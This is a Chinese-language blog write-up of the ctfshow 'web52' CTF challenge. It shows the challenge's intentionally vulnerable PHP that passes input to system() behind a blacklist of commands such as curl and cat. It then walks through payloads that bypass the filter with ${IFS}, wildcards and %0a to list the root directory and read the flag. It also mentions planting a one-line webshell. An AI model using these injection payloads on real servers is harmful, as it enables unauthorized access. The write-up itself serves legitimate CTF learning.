当前位置: 首页 > news >正文

ctfshow web入门 web52

信息收集

之前一直好用的<<>被过滤了,仔细看一看,$没过滤

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}

解题

之前我们就用过$
细节参考:ctfshow web入门 web45
故技重施

?c=nl${IFS}fla?????%0a

之前我们提到过nl获取到的文本包含php标签,标签里的内容被当做代码执行了。所以要看源代码或者抓包才能看到flag.php的内容
rev命令和fold命令同理

但是这里没有flag,一般情况下都是放根目录的,或者/usr /tmp /var之类的。如果实在找不到,就写一句话木马,用蚁剑连上慢慢找

?c=ls${IFS}/%0a

找到一个flag,先打开看看

?c=nl${IFS}/fla?%0a

flag在 nl /flagflag被过滤了,用fla?代替,或者用单双引号做间隔


web51    目录    web53

http://www.xdnf.cn/news/310411.html

相关文章:

  • 汽车行业EDI教程【北美X12标准】——X12转换配置
  • Fluent UDF底层实现逻辑解析及示例
  • 养生融入生活,畅享健康人生
  • 7.9/Q1,Charls最新文章解读
  • PySide6使用资源文件
  • 6GHz频段受限:WiFi 7部署的“最后一公里”难题如何破局
  • 白平衡色温坐标系下自适应计算白点权重的方法
  • app根据蓝牙名字不同,匹配不同的产品型号,显示对应的UI界面
  • 探索SQLMesh中的Jinja宏:提升SQL查询的灵活性与复用性
  • [学习]RTKLib详解:pntpos.c与postpos.c
  • JVM堆的分代机制
  • Linux 内核空间与用户空间:概念、差异与协作机制
  • 端口隔离基本配置
  • Weston显示系统中单屏幕独立旋转配置指南
  • Javase 基础加强 —— 06 Stream流
  • 企业CMS中的内容中台是什么?
  • three.js通过GEO数据生成3D地图
  • 爱情的本质是什么--deepseek
  • 认识Grafana及其面板(Panel)
  • 2025年大风灾害预警升级!疾风气象大模型如何筑起安全防线?
  • SQL大场笔试真题
  • SSCLMD项目详细分析
  • mysql协议详解
  • VS2022 Qt配置Qxlsx
  • 读 书 说
  • 【Dify系列教程重置精品版】第六章:在Dify对话中显示图片
  • Linux如何查看当前系统的内核与发行版本信息
  • 如何用爬虫获得按关键字搜索淘宝商品
  • 5.1经典架构
  • 论微服务架构设计及应用